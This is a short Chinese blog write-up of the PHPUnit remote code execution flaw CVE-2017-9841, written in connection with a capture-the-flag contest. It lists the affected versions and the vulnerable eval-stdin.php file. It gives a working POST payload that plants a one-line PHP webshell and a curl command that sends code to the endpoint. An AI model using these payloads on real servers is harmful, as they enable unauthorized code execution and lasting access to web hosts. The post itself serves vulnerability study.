phpunit 远程代码执行漏洞(CVE-2017-9841)

本文分析了PHPUnit在特定版本中存在的远程代码执行漏洞,详细解释了漏洞原理及利用方法,并提供了漏洞验证示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本次分享内容为蓝帽杯中web-php的一道题目中的关键漏洞,由于本人技术不够成熟,无法进行完全的复现,还请见谅。

一,漏洞概述:
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
二,漏洞版本:
4.8.19 ~ 4.8.27、 5.0.10 ~ 5.6.2
三,原理:
至于原理只能搜集到下列信息,目前使用的phpunit一般为5.7或最新9,10等版本,几乎不存在这个漏洞的可能,要不是题目考到了,都不会知道有这个漏洞。
漏洞位于/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));

三,漏洞利用方法
访问http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用POST方法传递一段以“<?php”开头的木马。

直接POST一句话木马。
例如:

<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');

即可远程连接。

或者用curl命令连接传入木马。
例如,执行以下一段代码即可输出pi的值。
curl -XPOST --data “<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

参考:
https://blog.csdn.net/csacs/article/details/90640601
https://xz.aliyun.com/t/2325
https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值